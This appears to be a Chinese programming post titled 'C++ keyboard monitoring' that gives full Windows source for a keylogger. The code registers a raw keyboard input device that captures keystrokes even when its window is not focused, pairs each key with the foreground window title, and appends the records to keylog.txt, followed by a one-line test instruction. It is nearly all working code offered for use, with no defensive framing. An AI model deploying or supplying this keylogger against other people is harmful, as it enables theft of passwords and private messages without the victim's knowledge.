c++实现键盘监控
#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
// 保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}
BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
if (WM_INITDIALOG == uiMsg)
{
// 注册原始输入设备
Init(hWnd);
}
else if (WM_CLOSE == uiMsg)
{
::EndDialog(hWnd, NULL);
}
else if (WM_INPUT == uiMsg)
{
// 获取获取按键消息
GetData(lParam);
}
return FALSE;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevinstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);
::ExitProcess(NULL);
return 0;
}
在桌面新建文档在其中输入进行测试,在项目目录下查看keylog.txt记录的内容.
